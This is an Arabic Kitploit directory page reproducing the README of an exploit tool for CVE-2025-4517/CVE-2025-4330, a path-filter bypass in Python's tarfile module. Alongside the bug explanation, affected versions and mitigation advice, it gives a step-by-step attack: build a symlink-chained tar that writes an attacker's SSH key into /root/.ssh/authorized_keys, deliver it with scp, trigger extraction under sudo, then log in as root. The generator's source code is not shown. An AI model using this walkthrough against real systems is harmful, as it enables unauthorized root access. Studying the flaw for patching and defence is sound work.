Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-4517-tarfile-PATH_MAX-bypass — تجاوز مرشح البيانات في Python tarfile عبر تجاوز PATH_MAX في os.path.realpath() - CVE-2025-4517 / CVE-2025-4330 | Kitploit
أدوات/GitHubGitHub/0xdtc/cve-2025-4517-tarfile-path_max-bypass
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHub0xdtc/cve-2025-4517-tarfile-path_max-bypass

CVE-2025-4517-tarfile-PATH_MAX-bypass

تجاوز مرشح البيانات في Python tarfile عبر تجاوز PATH_MAX في os.path.realpath() - CVE-2025-4517 / CVE-2025-4330

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
8منذ 6 أشهرلم تتم المراجعة بعد

CVE-2025-4517 / CVE-2025-4330 — تجاوز فلتر tarfile في بايثون عبر تجاوز PATH_MAX

المؤلف: 0xDTC CVEs: CVE-2025-4517 / CVE-2025-4330 التنبيه: GHSA-6r6c-684h-9j7p إصلاح CPython: PR #135037

نظرة عامة

من المفترض أن tarfile.extractall(filter="data") في بايثون تقوم باستخراج أرشيفات tar بشكل آمن عن طريق منع تجاوز المسار (المسارات المطلقة، تسلسلات ..، والروابط الرمزية التي تهرب من الوجهة). ومع ذلك، يوجد خطأ في os.path.realpath(strict=False) يسمح بتجاوز هذا الفلتر بالكامل.

عندما يتجاوز المسار المُحَلّ PATH_MAX (4096 بايت على لينكس)، تتوقف os.path.realpath() بصمت عن حل الروابط الرمزية وتلجأ إلى معالجة النصوص. هذا يعني أن سلسلة روابط رمزية مصممة بعناية يمكنها خداع بايثون لتظن أن الرابط الرمزي يُحَل داخل دليل الاستخراج بينما هو في الواقع يهرب إلى /.

الإصدارات المتأثرة

الفرعالمتأثرتم الإصلاح في
3.12.x3.12.0 – 3.12.103.12.11
3.13.x3.13.0 – 3.13.33.13.4
3.14.x3.14.0a1 – 3.14.0a73.14.0b1

كيف يعمل

يُكوِّن الاستغلال أرشيف tar يحتوي على:

  1. 16 زوجًا من الدليل/الرابط الرمزي — كل دليل له اسم بطول ~240 حرفًا، مع رابط رمزي قصير (حرف واحد) يشير إليه
  2. رابط رمزي هروب بطول 254 حرفًا — يوضع في نهاية السلسلة القصيرة، يشير إلى الوراء 16 مستوى
  3. رابط رمزي "هروب" — يجتاز السلسلة ويتجاوز PATH_MAX، مخادعًا realpath
  4. ملف عادي — يُكتب عبر رابط الهروب إلى موقع عشوائي خارج دليل الاستخراج

الفكرة الأساسية: اتباع a/b/c/.../p عبر روابط رمزية قصيرة يبقى تحت PATH_MAX، لكن realpath يُوسّع كل رابط إلى اسم الدليل الحقيقي بطول ~240 حرفًا. عند الوصول إلى اسم الرابط بطول 254 حرفًا، يتجاوز المسار المُحَلّ 4096 بايت ويستسلم realpath — معيدًا نتيجة غير صحيحة بصمت.

مخطط تدفق البيانات

root@kitploit:~
flowchart TD
    A["يهاجم يصنع tar ضاراً"] --> B["يحتوي tar على:
    16 زوج دليل/رابط رمزي
    رابط هروب بطول 254 حرفًا
    رابط 'هروب' إلى /
    ملف حمولة"]

    B --> C["يستخرج الهدف باستخدام
    tarfile.extractall(filter='data')"]

    C --> D{"تحل بايثون الروابط الرمزية
    عبر os.path.realpath()"}

    D --> E["تتبع الروابط القصيرة a→ddd...d
    ينمو المسار المُحَلّ مع كل خطوة"]

    E --> F{"طول المسار المُحَلّ
    > PATH_MAX (4096)؟"}

    F -->|"لا (عادي)"| G["realpath يحل بشكل صحيح
    الرابط الرمزي محظور بواسطة الفلتر ✓"]

    F -->|"نعم (فيضان!)"| H["realpath يتوقف عن الحل
    يلجأ إلى معالجة النصوص"]

    H --> I["تظن بايثون أن الرابط الرمزي
    يُحَل داخل دليل الاستخراج"]

    I --> J["الفلتر يمرر الرابط الرمزي ✗"]

    J --> K["نظام التشغيل يتبع الرابط الرمزي بشكل صحيح
    يتحقق 'هروب' إلى /"]

    K --> L["تُكتب الحمولة إلى
    ملف عشوائي على القرص"]

    style F fill:#ff6b6b,color:#fff
    style H fill:#ff6b6b,color:#fff
    style J fill:#ff6b6b,color:#fff
    style L fill:#ff6b6b,color:#fff
    style G fill:#51cf66,color:#fff

تسلسل الهجوم

root@kitploit:~
sequenceDiagram
    participant A as جهاز المهاجم
    participant T as الجهاز المستهدف

    Note over A: المرحلة 1 — التحضير
    A->>A: إنشاء زوج مفاتيح SSH (ssh-keygen)
    A->>A: تكوين متغيرات الاستغلال<br/>(DEST_DIR, DEPTH_TO_ROOT, إلخ.)
    A->>A: تشغيل CVE-2025-4517.py أو .go<br/>لإنشاء tar ضار

    Note over A,T: المرحلة 2 — التسليم
    A->>T: نقل tar الضار إلى الهدف<br/>(scp, wget, curl, ftp, إلخ.)
    T->>T: وضع tar في موقع يمكن<br/>للبرنامج النصي الضعيف الوصول إليه

    Note over T: المرحلة 3 — الاستغلال
    T->>T: تشغيل الاستخراج عبر<br/>البرنامج النصي الضعيف في بايثون
    T->>T: تستدعي بايثون tarfile.extractall(filter="data")

    Note over T: ما تراه بايثون مقابل الواقع
    T->>T: realpath() يفيض عند PATH_MAX
    T->>T: يعتقد الفلتر أن رابط "هروب" آمن
    T->>T: يتبع نظام التشغيل "هروب" → يُحَل إلى /
    T->>T: تُكتب الحمولة إلى /root/.ssh/authorized_keys

    Note over A,T: المرحلة 4 — الوصول
    A->>T: SSH كجذر باستخدام المفتاح المكتوب
    T-->>A: تم الحصول على شل الجذر

هيكل أرشيف Tar

root@kitploit:~
graph LR
    subgraph "أعضاء Tar (مستخرجة بالترتيب)"
        D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
        D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
        D3["📁 ...16 مستوى..."] --> S3["🔗 .../p → ddd...d"]
        S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
        S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
        F1["📄 escape/root/.ssh/authorized_keys<br/>(محتوى الحمولة)"]
    end

    S1 -.->|"مسار قصير<br/>يبقى صغيرًا"| S2
    S2 -.-> S3
    S3 -.-> S4
    S4 -.->|"254 حرفًا تدفع<br/>ما بعد PATH_MAX"| S5
    S5 -.->|"يُحَل إلى /"| F1

الاستخدام

التكوين

كلا البرنامجين النصيين يحتويان على قسم تكوين في الأعلى بهذه المتغيرات:

جهاز المهاجم

الخيار A: بايثون

root@kitploit:~
# 1. إنشاء زوج مفاتيح SSH
ssh-keygen -t ed25519 -f root_key -N ''

# 2. تحرير CVE-2025-4517.py — تحديث DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT

# 3. إنشاء tar الضار
python3 CVE-2025-4517.py

# 4. النقل إلى الهدف
scp backup_99.tar user@target:/path/to/backups/

الخيار B: Go

root@kitploit:~
# 1. إنشاء زوج مفاتيح SSH
ssh-keygen -t ed25519 -f root_key -N ''

# 2. تحرير CVE-2025-4517.go — تحديث destDir, depthToRoot, payload, output

# 3. إنشاء tar الضار
go run CVE-2025-4517.go

# 4. النقل إلى الهدف
scp backup_99.tar user@target:/path/to/backups/

الجهاز المستهدف

root@kitploit:~
# تشغيل الاستخراج عبر البرنامج النصي الضعيف في بايثون
# الأمر الدقيق يعتمد على كيفية استدعاء البرنامج النصي الهدف
# مثال:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir

ما بعد الاستغلال

root@kitploit:~
# SSH كجذر باستخدام المفتاح المزروع
ssh -i root_key root@target

حساب DEPTH_TO_ROOT

قم بعد الدلائل من / إلى مسار الاستخراج الخاص بك:

root@kitploit:~
/tmp/staging/extract_dir/
 (1)   (2)     (3)

DEPTH_TO_ROOT = 3
root@kitploit:~
/var/lib/app/data/staging/
 (1) (2)  (3) (4)   (5)

DEPTH_TO_ROOT = 5
root@kitploit:~
/opt/restore/backups/output_dir/
 (1)   (2)     (3)      (4)

DEPTH_TO_ROOT = 4

نمط الكود الضعيف

أي برنامج نصي في بايثون يستخدم tarfile.extractall() مع filter="data" على إصدار متأثر يكون قابلاً للاستغلال:

root@kitploit:~
import tarfile

with tarfile.open("archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")  # ضعيف

تم تقديم filter="data" كإجراء أمني لمنع هجمات تجاوز مسار tar. من المثير للسخرية أن الثغرة موجودة في الآلية نفسها (os.path.realpath) التي يعتمد عليها الفلتر للتحقق من أهداف الروابط الرمزية.

التخفيف

  • قم بترقية بايثون إلى 3.12.11+ أو 3.13.4+ أو 3.14.0b1+
  • تجنب استخراج أرشيفات tar غير موثوقة بغض النظر عن إعدادات الفلتر
  • استخدم تحققًا إضافيًا على مسارات الملفات المستخرجة بعد الاستخراج

المراجع

  • CVE-2025-4517 - NVD
  • CVE-2025-4330 - قاعدة بيانات ثغرات Wiz
  • GHSA-6r6c-684h-9j7p - تنبيه GitHub
  • CPython PR #135037 - الإصلاح

إخلاء مسؤولية

هذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والتعليم والبحث فقط. استخدمها فقط ضد أنظمة تمتلكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلف غير مسؤول عن أي استخدام خاطئ لهذه الأداة.

الترخيص

MIT

تنزيل الأداة
المتغيرالوصفمثال
DEST_DIRالمسار الكامل لدليل الاستخراج على الهدف/tmp/staging/extract_dir/
DEPTH_TO_ROOTعدد الدلائل من / إلى DEST_DIR4 لـ /opt/app/staging/dir/
TARGET_FILEالملف المراد كتابته، نسبيًا من /root/.ssh/authorized_keys
PAYLOADالمحتوى المراد كتابته في الملف الهدفمفتاح SSH العام الخاص بك
OUTPUTاسم ملف tar الناتجيجب أن يطابق النمط المتوقع للهدف